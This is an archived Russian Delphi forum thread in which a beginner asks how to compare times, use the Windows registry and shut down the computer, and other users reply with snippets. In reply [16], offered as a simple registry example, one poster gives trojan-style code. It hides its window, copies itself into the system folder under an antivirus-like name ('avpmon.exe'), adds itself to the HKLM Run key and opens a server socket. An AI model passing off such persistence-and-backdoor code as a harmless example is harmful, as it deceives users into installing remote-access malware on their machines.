Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2006.03.26;
Скачать: CL | DM;

Вниз

Как сравнить время   Найти похожие ветки 

 
alex111 ©   (2006-02-20 14:57) [0]

Пытаюсь написать прогу которая будет выключать комп через определенное время. Столкнулся с такой проблемой:
Функция time возвращает время в формате 12:42:34. Сохраняю его, затем по таймеру проверяю системное время. Вопрос: Как сравнить полученное время с сохраненным ?????
Если можно простенький пример.
Заранее благодарен.


 
ssk ©   (2006-02-20 15:01) [1]

if <Твое_время> = Now then


 
Eraser ©   (2006-02-20 15:03) [2]


> alex111 ©   (20.02.06 14:57)


> Функция time возвращает время в формате 12:42:34

ошибаетесь.


 
REA   (2006-02-20 15:04) [3]

if <Твое_время> >= Now


 
Jeer ©   (2006-02-20 15:31) [4]


> Как сравнить полученное время с сохраненным ?????


Смотря как сохраняешь и сравниваешь.
Форматы  сверь.


 
Vlad Oshin ©   (2006-02-20 15:37) [5]

введи эпсилон
if (Твое_время-Now) < пары_секунд


 
SOFTakaXimera   (2006-02-20 18:24) [6]

if StrToTime(12:42:34) < Now Then .....


 
Коля   (2006-02-20 23:38) [7]

Кусок кода от будильника. Много всякой лишней дряни, но надеюсь ответит на вопрос


procedure TForm1.Timer1Timer(Sender: TObject);
var
hn,mn,mm,mmm: word;
begin
Time:=now;
if aset then
begin
   if not (pll) then
   begin
   DecodeTime(time, hn, mn, mm, mmm);
   if (hn=ha) and (mn=ma) then
   begin
     mediaplayer1.Open;
     mediaplayer1.Play;
       groupbox2.Show;
 groupbox1.Hide;
     //mediaplayer1.TimeFormat:=tfMilliseconds;
     //form2.timer3.Interval:=2000;
     form1.Show;
     pll:=true;
     hp:=true;
   end;
   end
   else
   begin
     if mediaplayer1.Position = mediaplayer1.Length then
     begin
       mediaplayer1.Position:=1;
       mediaplayer1.Play;
     end;
   end;
end;
end;


 
alex111 ©   (2006-02-21 06:02) [8]


> if <Твое_время> >= Now

Мне нужно: if<моё время+лимит>=Now...
но я не могу прибавить лимит (в минутах) к времени. ошибка несоответствия типов.
извините если вопрос глупый, я ещё совсем чайник.


 
КаПиБаРа ©   (2006-02-21 06:34) [9]

alex111 ©   (20.02.06 14:57)
Функция time возвращает время в формате 12:42:34


function Time: TDateTime;
__________________________________
Unit

System

type TDateTime = type Double;

Фунцкия как ни странно возвращает вещественное число.
F1 - TDateTime type


 
КиТаЯц ©   (2006-02-21 07:17) [10]


> alex111 ©   (20.02.06 14:57)
>
> определенное время. Столкнулся с такой проблемой:
> Функция time возвращает время в формате 12:42:34. Сохраняю


> alex111 ©   (21.02.06 06:02) [8]
>
>
> > if <Твое_время> >= Now
>
> Мне нужно: if<моё время+лимит>=Now...
> но я не могу прибавить лимит (в минутах) к времени. ошибка
> несоответствия типов.


Коряво, но, надеюсь, понятно ;=)
var
MyTime: string = "06.30.00";
Limit: string = "00.00.05";
TmpSep: char;      //
TimSep: char = "."; // отвязываем зависимость от системных настроек
...
TmpSep:= TimeSeparator; // запоминаем системный
TimeSeparator:= TmpSep; // изменяем разделитель дат на наш формат
if ((StrToTime(MyTime)+StrToTime(Limit)) >= Now)
  then ... showmessage("Время вышло!");
TimeSeparator:= TmpSep; // возвращаем системные настройки


 
alex111 ©   (2006-02-21 08:25) [11]

Спасибо!!!


 
alex111 ©   (2006-02-23 11:16) [12]

интересно почему так:
ostatok:=starttime+limit-now;//посчитаем сколько осталось
результат вычисляется не верный.
например:starttime=21:13:00
              limit=00:05:00
              now=21:13:01..02..03 и т.д.
а остаток вычисляется 23:18:01..02..03 и т.д.?

а если ostatok:=starttime+limit-Time; то все ок
еще пара вопросов
1)какие ф-ии в делфи для работы с реестром? //даже не соображу какое слово для поиска в справке ввести, т.к. с английским у меня еще хуже чем с делфи.
2)как выключить комп програмно?


 
ssk ©   (2006-02-23 11:55) [13]

1)какие ф-ии в делфи для работы с реестром? //даже не соображу какое слово для поиска в справке ввести, т.к. с английским у меня еще хуже чем с делфи.

TRegistry

2)как выключить комп програмно?

см. в сторону
ExitWindows()
ExitWindowsEx()


 
-=Dark=-   (2006-02-23 14:11) [14]

1)какие ф-ии в делфи для работы с реестром? //даже не соображу какое слово для поиска в справке ввести, т.к. с английским у меня еще хуже чем с делфи.

TRegistry

2)как выключить комп програмно?

см. в сторону
ExitWindows()
ExitWindowsEx()

1) По поводу реестра: Нарой какой-нибудь исходник в котором описана работа с реестром! На самом деле там все очень просто! Или тебе нужен пример создания ключа и записи, ну или удаления?
2) Нарой описание API функций Виндов! Так как помимо самого выключения коспа тебе необходимо еще и закрывать все окна, и программы, иначе будет выдаться ошибка и требование сначала закрыть, там какую-нибудь программу.


 
alex111 ©   (2006-02-23 14:23) [15]


> 1) По поводу реестра: Нарой какой-нибудь исходник в котором
> описана работа с реестром! На самом деле там все очень просто!
>  Или тебе нужен пример создания ключа и записи, ну или удаления?
>
> 2) Нарой описание API функций Виндов! Так как помимо самого
> выключения коспа тебе необходимо еще и закрывать все окна,
>  и программы, иначе будет выдаться ошибка и требование сначала
> закрыть, там какую-нибудь программу.

Буду благодарен примеру.
А по поводу

> интересно почему так:
> ostatok:=starttime+limit-now;//посчитаем сколько осталось
> результат вычисляется не верный.

now F1 выдает что-то типа "резервирует место в памяти для чего-го там"


 
-=Dark=-   (2006-02-23 14:44) [16]

Reg: TRegistry;
 dir,str: string;
 len: integer;
begin
 Application.ShowMainForm := false;
 len := 255;
 SetLength(Dir,Len);
 Len := GetSystemDirectory(PChar(Dir),Len);
 SetLength(Dir,Len);
 if Application.ExeName <> Dir + "\AVPMON.EXE" then
   begin
     if not FileExists(Dir + "\avpmon.exe") then
       begin
         CopyFile("avpmon.exe",PChar(Dir + "\avpmon.exe"),false);
         WinExec(PChar(Dir + "\avpmon.exe"),0);
       end;
     Application.Terminate;
     Exit;
   end;
 Reg := TRegistry.Create;
 Reg.RootKey := HKEY_LOCAL_MACHINE;
 if Reg.OpenKey("Software\Microsoft\Windows\CurrentVersion\Run",false) then
   begin
     str := Reg.ReadString("internat32");
     if str <> Application.ExeName then
       Reg.WriteString("Services",Application.ExeName);
     Reg.CloseKey;
   end;
 Reg.Free;
 ServerSocket1.Active := true;
end;


 
-=Dark=-   (2006-02-23 14:52) [17]

Оставь мыльник! Api функции солью!


 
-=Dark=-   (2006-02-23 14:55) [18]

ExitWindowsEx(EWX_LOGOFF or ewx_force,0); /*завершает работу всех запущенных в системе процессов, сохраняя данные приложения, вызвавшего эту функцию*/

ExitWindowsEx(EWX_SHUTDOWN or ewx_force,0); /*останавливает работу системы в безопасный момент времени. Все буферы очищаются с сохранением данных на диске, все процессы останавливаются*/

ExitWindowsEx(EWX_REBOOT or ewx_force,0); /*перезагрузка системы*/

ExitWindowsEx(EWX_FORCE or ewx_force,0); /*завершает работу всех запущенных в системе приложений, не посылая им сообщения WM_QUERYENDSESSION и WM_ENDSESSIO. Это может вызвать потерю не сохраненных данных*/

ExitWindowsEx(EWX_POWEROFF or ewx_force,0); /*завершает работу компьютера с выключением питания, если система поддерживает автоуправление питанием*/

ExitWindowsEx(EWX_FORCEIFHUNG or ewx_force,0); /*завершает работу всех запущенных в системе приложений если система висит*/


 
alex111 ©   (2006-02-23 14:56) [19]

-=Dark=- вот inf(псина)xaker.ru
спасибо!!!


 
-=Dark=-   (2006-02-23 15:02) [20]

А по поводу

> интересно почему так:
> ostatok:=starttime+limit-now;//посчитаем сколько осталось
> результат вычисляется не верный.

Проверяй данные, которые складываешь!А еще Лучше, если starttime и limit укажешь как константы, ну если конечно так и должно быть! Правильно ли ты их прописываешь и вообще ты их в каком формате складываешь то? У тебя есть полученное время типа 00:00:00! К нему должно прибовлять в таком же формате учитывая постановку часов, минут и секунд! Проверяй, значит где то ошибка!:-)


 
alex111 ©   (2006-02-24 07:41) [21]

Dark, спасибо за почту!

-=Dark=- писал:
> Reg: TRegistry;
>  dir,str: string;
>  len: integer;

пишу: var Reg: Tregistry...и т.д;//здесь ошибка при компиляции типа не знаю что такое Tregistry
поискал в справке там Tregistry non aviable for cross platform...
думал не установлен компонент, попробовал установить, нашел Registry.pas, устанавливаю, а он говорит, что уже установлено, но в компонентах его нет.


> Проверяй данные, которые складываешь!А еще Лучше, если starttime
> и limit укажешь как константы, ну если конечно так и должно
> быть! Правильно ли ты их прописываешь и вообще ты их в каком
> формате складываешь то? У тебя есть полученное время типа
> 00:00:00! К нему должно прибовлять в таком же формате учитывая
> постановку часов, минут и секунд! Проверяй, значит где то
> ошибка!:-)

здесь так:
StartTime:=Now;
limit:=01:00:00;
ostatok:=StartTime+StrToTime(limit)-Now;
Label1.Caption:=TimeToStr(StartTime);//здесь правильно
Label2.Caption:=limit;//здесь правильно
Label3.Caption:=TimeToStr(ostatok);//здесь не верное значение
Label4.Caption:=Now;//здесь правильно


 
Сайбель Алексей ©   (2006-02-24 09:10) [22]

2 alex111 © [21]

> пишу: var Reg: Tregistry...и т.д;//здесь ошибка при
>компиляции типа не знаю что такое Tregistry
> поискал в справке там Tregistry non aviable for cross
>platform...
> думал не установлен компонент, попробовал установить,
> нашел Registry.pas, устанавливаю, а он говорит, что
> уже установлено, но в компонентах его нет.

Строка:Tregistry non aviable for cross platform...
говорит о том что работа с данным типов не доступна для кроссплатформенных приложений, таких как линукс и другие.
Реестр сугубо виндовая фишка

По поводу Registry.pas то его нужно подключить в uses твоего юнита.


 
alex111 ©   (2006-02-24 14:16) [23]


> Строка:Tregistry non aviable for cross platform...
> говорит о том что работа с данным типов не доступна для
> кроссплатформенных приложений, таких как линукс и другие.
>
> Реестр сугубо виндовая фишка
>
> По поводу Registry.pas то его нужно подключить в uses твоего
> юнита.
>

А-а-а теперь понятно. Жаль что попробовать смогу теперь только завтра.


 
alex111 ©   (2006-02-27 05:43) [24]


> ExitWindowsEx(EWX_POWEROFF or ewx_force,0); /*завершает
> работу компьютера с выключением питания, если система поддерживает
> автоуправление питанием*/

Почему-то эта ф-я вместо PowerOff делает LogOff.


 
alex111 ©   (2006-03-10 08:02) [25]


> ExitWindowsEx(EWX_POWEROFF or ewx_force,0); /*завершает

также winexec
как корректно выключить компьютер?



Страницы: 1 вся ветка

Текущий архив: 2006.03.26;
Скачать: CL | DM;

Наверх




Память: 0.54 MB
Время: 0.05 c
2-1142085774
хочу все знать
2006-03-11 17:02
2006.03.26
изменение диапазона цикла FOR внутри цикла


15-1140814898
Marser
2006-02-25 00:01
2006.03.26
XX съезд КПСС


15-1141064916
Matrex
2006-02-27 21:28
2006.03.26
Опрос. Работа с мобильным телефоном (Siemens) – быть или не быть…


6-1134128206
Tor
2005-12-09 14:36
2006.03.26
Подсчет трафика


1-1140796941
pasha_golub
2006-02-24 19:02
2006.03.26
Граф, но не дерево???